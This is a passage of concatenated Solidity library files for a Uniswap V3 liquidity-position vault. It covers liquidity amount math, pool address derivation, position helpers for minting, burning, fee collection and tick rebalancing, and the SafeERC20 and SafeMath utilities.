) internal pure returns (uint256 result) {
result = mulDiv(a, b, denominator);
if (mulmod(a, b, denominator) > 0) {
require(result < type(uint256).max);
result++;
}
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
import './FullMath.sol';
import './FixedPoint96.sol';
/// @title Liquidity amount functions
/// @notice Provides functions for computing liquidity amounts from token amounts and prices
library LiquidityAmounts {
/// @notice Downcasts uint256 to uint128
/// @param x The uint258 to be downcasted
/// @return y The passed value, downcasted to uint128
function toUint128(uint256 x) private pure returns (uint128 y) {
require((y = uint128(x)) == x);
}
/// @notice Computes the amount of liquidity received for a given amount of token0 and price range
/// @dev Calculates amount0 * (sqrt(upper) * sqrt(lower)) / (sqrt(upper) - sqrt(lower))
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param amount0 The amount0 being sent in
/// @return liquidity The amount of returned liquidity
function getLiquidityForAmount0(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint256 amount0
) internal pure returns (uint128 liquidity) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
uint256 intermediate = FullMath.mulDiv(sqrtRatioAX96, sqrtRatioBX96, FixedPoint96.Q96);
return toUint128(FullMath.mulDiv(amount0, intermediate, sqrtRatioBX96 - sqrtRatioAX96));
}
/// @notice Computes the amount of liquidity received for a given amount of token1 and price range
/// @dev Calculates amount1 / (sqrt(upper) - sqrt(lower)).
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param amount1 The amount1 being sent in
/// @return liquidity The amount of returned liquidity
function getLiquidityForAmount1(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint256 amount1
) internal pure returns (uint128 liquidity) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
return toUint128(FullMath.mulDiv(amount1, FixedPoint96.Q96, sqrtRatioBX96 - sqrtRatioAX96));
}
/// @notice Computes the maximum amount of liquidity received for a given amount of token0, token1, the current
/// pool prices and the prices at the tick boundaries
/// @param sqrtRatioX96 A sqrt price representing the current pool prices
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param amount0 The amount of token0 being sent in
/// @param amount1 The amount of token1 being sent in
/// @return liquidity The maximum amount of liquidity received
function getLiquidityForAmounts(
uint160 sqrtRatioX96,
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint256 amount0,
uint256 amount1
) internal pure returns (uint128 liquidity) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
if (sqrtRatioX96 <= sqrtRatioAX96) {
liquidity = getLiquidityForAmount0(sqrtRatioAX96, sqrtRatioBX96, amount0);
} else if (sqrtRatioX96 < sqrtRatioBX96) {
uint128 liquidity0 = getLiquidityForAmount0(sqrtRatioX96, sqrtRatioBX96, amount0);
uint128 liquidity1 = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioX96, amount1);
liquidity = liquidity0 < liquidity1 ? liquidity0 : liquidity1;
} else {
liquidity = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioBX96, amount1);
}
}
/// @notice Computes the amount of token0 for a given amount of liquidity and a price range
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param liquidity The liquidity being valued
/// @return amount0 The amount of token0
function getAmount0ForLiquidity(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint128 liquidity
) internal pure returns (uint256 amount0) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
return
FullMath.mulDiv(
uint256(liquidity) << FixedPoint96.RESOLUTION,
sqrtRatioBX96 - sqrtRatioAX96,
sqrtRatioBX96
) / sqrtRatioAX96;
}
/// @notice Computes the amount of token1 for a given amount of liquidity and a price range
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param liquidity The liquidity being valued
/// @return amount1 The amount of token1
function getAmount1ForLiquidity(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint128 liquidity
) internal pure returns (uint256 amount1) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
return FullMath.mulDiv(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96);
}
/// @notice Computes the token0 and token1 value for a given amount of liquidity, the current
/// pool prices and the prices at the tick boundaries
/// @param sqrtRatioX96 A sqrt price representing the current pool prices
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param liquidity The liquidity being valued
/// @return amount0 The amount of token0
/// @return amount1 The amount of token1
function getAmountsForLiquidity(
uint160 sqrtRatioX96,
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint128 liquidity
) internal pure returns (uint256 amount0, uint256 amount1) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
if (sqrtRatioX96 <= sqrtRatioAX96) {
amount0 = getAmount0ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity);
} else if (sqrtRatioX96 < sqrtRatioBX96) {
amount0 = getAmount0ForLiquidity(sqrtRatioX96, sqrtRatioBX96, liquidity);
amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioX96, liquidity);
} else {
amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity);
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Provides functions for deriving a pool address from the factory, tokens, and the fee
library PoolAddress {
bytes32 internal constant POOL_INIT_CODE_HASH = 0xe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b54;
/// @notice The identifying key of the pool
struct PoolKey {
address token0;
address token1;
uint24 fee;
}
/// @notice Returns PoolKey: the ordered tokens with the matched fee levels
/// @param tokenA The first token of a pool, unsorted
/// @param tokenB The second token of a pool, unsorted
/// @param fee The fee level of the pool
/// @return Poolkey The pool details with ordered token0 and token1 assignments
function getPoolKey(
address tokenA,
address tokenB,
uint24 fee
) internal pure returns (PoolKey memory) {
if (tokenA > tokenB) (tokenA, tokenB) = (tokenB, tokenA);
return PoolKey({token0: tokenA, token1: tokenB, fee: fee});
}
/// @notice Deterministically computes the pool address given the factory and PoolKey
/// @param factory The Uniswap V3 factory contract address
/// @param key The PoolKey
/// @return pool The contract address of the V3 pool
function computeAddress(address factory, PoolKey memory key) internal pure returns (address pool) {
require(key.token0 < key.token1);
pool = address(
uint256(
keccak256(
abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encode(key.token0, key.token1, key.fee)),
POOL_INIT_CODE_HASH
)
)
)
);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma abicoder v2;
import "./LiquidityAmounts.sol";
import "./TickMath.sol";
import "./FullMath.sol";
import "./FixedPoint128.sol";
import "./SafeMath.sol";
import "../interfaces/IUniswapV3Pool.sol";
library PositionHelper {
using SafeMath for uint256;
struct Position {
address poolAddress;
int24 lowerTick;
int24 upperTick;
int24 tickSpacing;
bool status; // True - InvestIn False - NotInvest
}
/* ========== VIEW ========== */
function _positionInfo(
Position memory position
) internal view returns(uint128, uint256, uint256, uint256, uint256){
// Pool OBJ
IUniswapV3Pool pool = IUniswapV3Pool(position.poolAddress);
// Get Position Key
bytes32 positionKey = keccak256(abi.encodePacked(address(this), position.lowerTick, position.upperTick));
// Get Position Detail
return pool.positions(positionKey);
}
function _tickInfo(
IUniswapV3Pool pool,
int24 tick
) internal view returns (uint256 feeGrowthOutside0X128, uint256 feeGrowthOutside1X128) {
// liquidityGross\liquidityNet\0\1\tickCumulativeOutside\secondsPerLiquidityOutsideX128\secondsOutside\initialized
( , , feeGrowthOutside0X128, feeGrowthOutside1X128, , , , ) = pool.ticks(tick);
}
function _getFeeGrowthInside(
Position memory position
) internal view returns (uint256, uint256) {
IUniswapV3Pool pool = IUniswapV3Pool(position.poolAddress);
(int24 tickCurrent, uint256 feeGrowthGlobal0X128, uint256 feeGrowthGlobal1X128) = _poolInfo(pool);
// calculate fee growth below
(uint256 feeGrowthBelow0X128, uint256 feeGrowthBelow1X128) = _tickInfo(pool, position.lowerTick);
if (tickCurrent < position.lowerTick) {
feeGrowthBelow0X128 = feeGrowthGlobal0X128 - feeGrowthBelow0X128;
feeGrowthBelow1X128 = feeGrowthGlobal1X128 - feeGrowthBelow1X128;
}
// calculate fee growth above
(uint256 feeGrowthAbove0X128, uint256 feeGrowthAbove1X128) = _tickInfo(pool, position.upperTick);
if (tickCurrent >= position.upperTick) {
feeGrowthAbove0X128 = feeGrowthGlobal0X128 - feeGrowthAbove0X128;
feeGrowthAbove1X128 = feeGrowthGlobal1X128 - feeGrowthAbove1X128;
}
// calculate inside
uint256 feeGrowthInside0X128 = feeGrowthGlobal0X128 - feeGrowthBelow0X128 - feeGrowthAbove0X128;
uint256 feeGrowthInside1X128 = feeGrowthGlobal1X128 - feeGrowthBelow1X128 - feeGrowthAbove1X128;
return(feeGrowthInside0X128, feeGrowthInside1X128);
}
function _getPendingAmounts(
Position memory position,
uint128 liquidity,
uint256 feeGrowthInside0LastX128,
uint256 feeGrowthInside1LastX128
) internal view returns(uint256 tokensPending0, uint256 tokensPending1) {
// feeInside
(uint256 feeGrowthInside0X128, uint256 feeGrowthInside1X128) = _getFeeGrowthInside(position);
// pending calculate
tokensPending0 = FullMath.mulDiv(
feeGrowthInside0X128 - feeGrowthInside0LastX128,
liquidity,
FixedPoint128.Q128
);
tokensPending1 = FullMath.mulDiv(
feeGrowthInside1X128 - feeGrowthInside1LastX128,
liquidity,
FixedPoint128.Q128
);
}
function _getTotalAmounts(Position memory position) internal view returns (uint256 total0, uint256 total1) {
// Pool OBJ
IUniswapV3Pool pool = IUniswapV3Pool(position.poolAddress);
// position info
(uint128 liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, , ) = _positionInfo(position);
// liquidity Amount
(uint160 sqrtRatioX96, , , , , , ) = pool.slot0();
(total0, total1) = LiquidityAmounts.getAmountsForLiquidity(
sqrtRatioX96,
TickMath.getSqrtRatioAtTick(position.lowerTick),
TickMath.getSqrtRatioAtTick(position.upperTick),
liquidity
);
// get Pending
(uint256 pending0, uint256 pending1) = _getPendingAmounts(position, liquidity, feeGrowthInside0LastX128, feeGrowthInside1LastX128);
total0 = total0 + pending0;
total1 = total1 + pending1;
}
function _getTotalAmounts(Position memory position, uint8 _performanceFee) internal view returns (uint256 total0, uint256 total1) {
// Pool OBJ
IUniswapV3Pool pool = IUniswapV3Pool(position.poolAddress);
// position info
(uint128 liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, , ) = _positionInfo(position);
// liquidity Amount
(uint160 sqrtRatioX96, , , , , , ) = pool.slot0();
(total0, total1) = LiquidityAmounts.getAmountsForLiquidity(
sqrtRatioX96,
TickMath.getSqrtRatioAtTick(position.lowerTick),
TickMath.getSqrtRatioAtTick(position.upperTick),
liquidity
);
// get Pending
(uint256 pending0, uint256 pending1) = _getPendingAmounts(position, liquidity, feeGrowthInside0LastX128, feeGrowthInside1LastX128);
total0 = total0 + pending0;
total1 = total1 + pending1;
if(_performanceFee > 0){
total0 = total0.sub(pending0.div(_performanceFee));
total1 = total1.sub(pending1.div(_performanceFee));
}
}
function _poolInfo(IUniswapV3Pool pool) internal view returns (int24, uint256, uint256) {
( , int24 tick, , , , , ) = pool.slot0();
uint256 feeGrowthGlobal0X128 = pool.feeGrowthGlobal0X128();
uint256 feeGrowthGlobal1X128 = pool.feeGrowthGlobal1X128();
// return
return (tick, feeGrowthGlobal0X128, feeGrowthGlobal1X128);
}
/* ========== BASE FUNCTION ========== */
function _addLiquidity(
Position memory position,
uint128 liquidity
) internal returns (uint256 amount0, uint256 amount1){
// Pool OBJ
IUniswapV3Pool pool = IUniswapV3Pool(position.poolAddress);
// add Liquidity on Uniswap
(amount0, amount1) = pool.mint(
address(this),
position.lowerTick,
position.upperTick,
liquidity,
""
);
}
function _burnLiquidity(
Position memory position,
uint128 liquidity
) internal returns (uint256 amount0, uint256 amount1) {
// Pool OBJ
IUniswapV3Pool pool = IUniswapV3Pool(position.poolAddress);
(amount0, amount1) = pool.burn(position.lowerTick, position.upperTick, liquidity);
}
function _collect(
Position memory position,
address to,
uint128 amount0,
uint128 amount1
) internal returns (uint256 collect0, uint256 collect1) {
// Pool OBJ
IUniswapV3Pool pool = IUniswapV3Pool(position.poolAddress);
// collect ALL to Vault
(collect0, collect1) = pool.collect(
to,
position.lowerTick,
position.upperTick,
amount0,
amount1
);
}
/* ========== SENIOR FUNCTION ========== */
function _addAll(
Position memory position,
uint256 balance0,
uint256 balance1
) internal returns(uint256 amount0, uint256 amount1){
// Pool OBJ
IUniswapV3Pool pool = IUniswapV3Pool(position.poolAddress);
// Calculate Liquidity
(uint160 sqrtRatioX96, , , , , , ) = pool.slot0();
uint128 liquidity = LiquidityAmounts.getLiquidityForAmounts(
sqrtRatioX96,
TickMath.getSqrtRatioAtTick(position.lowerTick),
TickMath.getSqrtRatioAtTick(position.upperTick),
balance0,
balance1
);
// Add to Pool
(amount0, amount1) = _addLiquidity(position, liquidity);
}
function _burnSpecific(
Position memory position,
uint128 liquidity,
address to
) internal returns(uint256 amount0, uint256 amount1, uint fee0, uint fee1){
// Burn
(amount0, amount1) = _burnLiquidity(position, liquidity);
// Collect to user
_collect(position, to, uint128(amount0), uint128(amount1));
// Collect to Vault
(fee0, fee1) = _collect(position, address(this), type(uint128).max, type(uint128).max);
}
function _burnAll(Position memory position) internal returns(uint, uint) {
// Read Liq
(uint128 liquidity, , , , ) = _positionInfo(position);
return _burn(position, liquidity);
}
function _burn(Position memory position, uint128 liquidity) internal returns(uint256 fee0, uint256 fee1) {
// Burn
(uint amt0, uint amt1) = _burnLiquidity(position, liquidity);
// Collect
(fee0, fee1) = _collect(position, address(this), type(uint128).max, type(uint128).max);
fee0 = fee0 - amt0;
fee1 = fee1 - amt1;
}
function _getReBalanceTicks(
PositionHelper.Position memory position,
int24 reBalanceThreshold,
int24 band
) internal view returns (bool status, int24 lowerTick, int24 upperTick) {
// get Current Tick
IUniswapV3Pool pool = IUniswapV3Pool(position.poolAddress);
( , int24 tick, , , , , ) = pool.slot0();
bool lowerRebalance;
// Check status
if (position.status) {
int24 middleTick = (position.lowerTick + position.upperTick) / 2;
if (middleTick - tick >= reBalanceThreshold) {
status = true;
lowerRebalance = true;
}else if(tick - middleTick >= reBalanceThreshold){
status = true;
}
} else {
status = true;
}
// get new ticks
if (status) {
if(lowerRebalance && (tick % position.tickSpacing != 0)){
tick = _floor(tick, position.tickSpacing) + position.tickSpacing ;
}else{
tick = _floor(tick, position.tickSpacing);
}
band = _floor(band, position.tickSpacing);
lowerTick = tick - band;
upperTick = tick + band;
}
}
function checkDiffTick(PositionHelper.Position memory position, int24 _tick, uint24 _diffTick) internal view {
// get Current Tick
IUniswapV3Pool pool = IUniswapV3Pool(position.poolAddress);
( , int24 tick, , , , , ) = pool.slot0();
require(tick - _tick < int24(_diffTick) && _tick - tick < int24(_diffTick), "DIFF TICK");
}
function _floor(int24 tick, int24 _tickSpacing) internal pure returns (int24) {
int24 compressed = tick / _tickSpacing;
if (tick < 0 && tick % _tickSpacing != 0) compressed--;
return compressed * _tickSpacing;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma abicoder v2;
import "./LiquidityAmounts.sol";
import "./TickMath.sol";
import "./FullMath.sol";
import "./FixedPoint128.sol";
import "./SafeMath.sol";
import "../interfaces/IUniswapV3Pool.sol";
library PositionHelperV3 {
using SafeMath for uint256;
struct Position {
uint128 principal0;
uint128 principal1;
address poolAddress;
int24 lowerTick;
int24 upperTick;
int24 tickSpacing;
bool status; // True - InvestIn False - NotInvest
}
/* ========== VIEW ========== */
function _positionInfo(
Position memory position
) internal view returns(uint128, uint256, uint256, uint256, uint256){
// Pool OBJ
IUniswapV3Pool pool = IUniswapV3Pool(position.poolAddress);
// Get Position Key
bytes32 positionKey = keccak256(abi.encodePacked(address(this), position.lowerTick, position.upperTick));
// Get Position Detail
return pool.positions(positionKey);
}
function _tickInfo(
IUniswapV3Pool pool,
int24 tick
) internal view returns (uint256 feeGrowthOutside0X128, uint256 feeGrowthOutside1X128) {
// liquidityGross\liquidityNet\0\1\tickCumulativeOutside\secondsPerLiquidityOutsideX128\secondsOutside\initialized
( , , feeGrowthOutside0X128, feeGrowthOutside1X128, , , , ) = pool.ticks(tick);
}
function _getFeeGrowthInside(
Position memory position
) internal view returns (uint256, uint256) {
IUniswapV3Pool pool = IUniswapV3Pool(position.poolAddress);
(int24 tickCurrent, uint256 feeGrowthGlobal0X128, uint256 feeGrowthGlobal1X128) = _poolInfo(pool);
// calculate fee growth below
(uint256 feeGrowthBelow0X128, uint256 feeGrowthBelow1X128) = _tickInfo(pool, position.lowerTick);
if (tickCurrent < position.lowerTick) {
feeGrowthBelow0X128 = feeGrowthGlobal0X128 - feeGrowthBelow0X128;
feeGrowthBelow1X128 = feeGrowthGlobal1X128 - feeGrowthBelow1X128;
}
// calculate fee growth above
(uint256 feeGrowthAbove0X128, uint256 feeGrowthAbove1X128) = _tickInfo(pool, position.upperTick);
if (tickCurrent >= position.upperTick) {
feeGrowthAbove0X128 = feeGrowthGlobal0X128 - feeGrowthAbove0X128;
feeGrowthAbove1X128 = feeGrowthGlobal1X128 - feeGrowthAbove1X128;
}
// calculate inside
uint256 feeGrowthInside0X128 = feeGrowthGlobal0X128 - feeGrowthBelow0X128 - feeGrowthAbove0X128;
uint256 feeGrowthInside1X128 = feeGrowthGlobal1X128 - feeGrowthBelow1X128 - feeGrowthAbove1X128;
return(feeGrowthInside0X128, feeGrowthInside1X128);
}
function _getPendingAmounts(
Position memory position,
uint128 liquidity,
uint256 feeGrowthInside0LastX128,
uint256 feeGrowthInside1LastX128
) internal view returns(uint256 tokensPending0, uint256 tokensPending1) {
// feeInside
(uint256 feeGrowthInside0X128, uint256 feeGrowthInside1X128) = _getFeeGrowthInside(position);
// pending calculate
tokensPending0 = FullMath.mulDiv(
feeGrowthInside0X128 - feeGrowthInside0LastX128,
liquidity,
FixedPoint128.Q128
);
tokensPending1 = FullMath.mulDiv(
feeGrowthInside1X128 - feeGrowthInside1LastX128,
liquidity,
FixedPoint128.Q128
);
}
function _getTotalAmounts(Position memory position, uint8 _performanceFee) internal view returns (uint256 total0, uint256 total1) {
// Pool OBJ
IUniswapV3Pool pool = IUniswapV3Pool(position.poolAddress);
// position info
(uint128 liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, , ) = _positionInfo(position);
// liquidity Amount
(uint160 sqrtRatioX96, , , , , , ) = pool.slot0();
(total0, total1) = LiquidityAmounts.getAmountsForLiquidity(
sqrtRatioX96,
TickMath.getSqrtRatioAtTick(position.lowerTick),
TickMath.getSqrtRatioAtTick(position.upperTick),
liquidity
);
// get Pending
(uint256 pending0, uint256 pending1) = _getPendingAmounts(position, liquidity, feeGrowthInside0LastX128, feeGrowthInside1LastX128);
total0 = total0 + pending0;
total1 = total1 + pending1;
if (_performanceFee > 0) {
total0 = total0.sub(pending0.div(_performanceFee));
total1 = total1.sub(pending1.div(_performanceFee));
}
}
function _poolInfo(IUniswapV3Pool pool) internal view returns (int24, uint256, uint256) {
( , int24 tick, , , , , ) = pool.slot0();
uint256 feeGrowthGlobal0X128 = pool.feeGrowthGlobal0X128();
uint256 feeGrowthGlobal1X128 = pool.feeGrowthGlobal1X128();
// return
return (tick, feeGrowthGlobal0X128, feeGrowthGlobal1X128);
}
/* ========== BASE FUNCTION ========== */
function _addLiquidity(
Position memory position,
uint128 liquidity
) internal returns (uint256 amount0, uint256 amount1){
// Pool OBJ
IUniswapV3Pool pool = IUniswapV3Pool(position.poolAddress);
// add Liquidity on Uniswap
(amount0, amount1) = pool.mint(
address(this),
position.lowerTick,
position.upperTick,
liquidity,
""
);
}
function _burnLiquidity(
Position memory position,
uint128 liquidity
) internal returns (uint256 amount0, uint256 amount1) {
// Pool OBJ
IUniswapV3Pool pool = IUniswapV3Pool(position.poolAddress);
(amount0, amount1) = pool.burn(position.lowerTick, position.upperTick, liquidity);
}
function _collect(
Position memory position,
address to,
uint128 amount0,
uint128 amount1
) internal returns (uint256 collect0, uint256 collect1) {
// Pool OBJ
IUniswapV3Pool pool = IUniswapV3Pool(position.poolAddress);
// collect ALL to Vault
(collect0, collect1) = pool.collect(
to,
position.lowerTick,
position.upperTick,
amount0,
amount1
);
}
/* ========== SENIOR FUNCTION ========== */
function _addAll(
Position memory position,
uint256 balance0,
uint256 balance1
) internal returns(uint256 amount0, uint256 amount1){
// Pool OBJ
IUniswapV3Pool pool = IUniswapV3Pool(position.poolAddress);
// Calculate Liquidity
(uint160 sqrtRatioX96, , , , , , ) = pool.slot0();
uint128 liquidity = LiquidityAmounts.getLiquidityForAmounts(
sqrtRatioX96,
TickMath.getSqrtRatioAtTick(position.lowerTick),
TickMath.getSqrtRatioAtTick(position.upperTick),
balance0,
balance1
);
// Add to Pool
(amount0, amount1) = _addLiquidity(position, liquidity);
}
function _burnAll(
Position memory position
) internal returns(uint256, uint256, uint256, uint256) {
// Read Liq
(uint128 liquidity, , , , ) = _positionInfo(position);
if(liquidity == 0) return (0, 0, 0, 0);
return _burn(position, liquidity);
}
function _burn(
Position memory position,
uint128 liquidity
) internal returns(uint256 amount0, uint256 amount1, uint256 fee0, uint256 fee1) {
// Burn
(fee0, fee1) = _burnLiquidity(position, liquidity);
// Collect
(amount0, amount1) = _collect(position, address(this), type(uint128).max, type(uint128).max);
fee0 = amount0 - fee0;
fee1 = amount1 - fee1;
}
function _getReBalanceTicks(
Position memory position,
int24 reBalanceThreshold,
int24 band
) internal view returns (bool status, int24 lowerTick, int24 upperTick) {
// get Current Tick
IUniswapV3Pool pool = IUniswapV3Pool(position.poolAddress);
( , int24 tick, , , , , ) = pool.slot0();
bool lowerRebalance;
// Check status
if (position.status) {
int24 middleTick = (position.lowerTick + position.upperTick) / 2;
if (middleTick - tick >= reBalanceThreshold) {
status = true;
lowerRebalance = true;
}else if(tick - middleTick >= reBalanceThreshold){
status = true;
}
} else {
status = true;
}
// get new ticks
if (status) {
if(lowerRebalance && (tick % position.tickSpacing != 0)){
tick = _floor(tick, position.tickSpacing) + position.tickSpacing ;
}else{
tick = _floor(tick, position.tickSpacing);
}
band = _floor(band, position.tickSpacing);
lowerTick = tick - band;
upperTick = tick + band;
}
}
function checkDiffTick(Position memory position, int24 _tick, uint24 _diffTick) internal view {
// get Current Tick
IUniswapV3Pool pool = IUniswapV3Pool(position.poolAddress);
( , int24 tick, , , , , ) = pool.slot0();
require(tick - _tick < int24(_diffTick) && _tick - tick < int24(_diffTick), "DIFF TICK");
}
function _floor(int24 tick, int24 _tickSpacing) internal pure returns (int24) {
int24 compressed = tick / _tickSpacing;
if (tick < 0 && tick % _tickSpacing != 0) compressed--;
return compressed * _tickSpacing;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../interfaces/IERC20.sol";
import "./SafeMath.sol";
import "./Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add128(uint128 a, uint128 b) internal pure returns (uint128) {
uint128 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
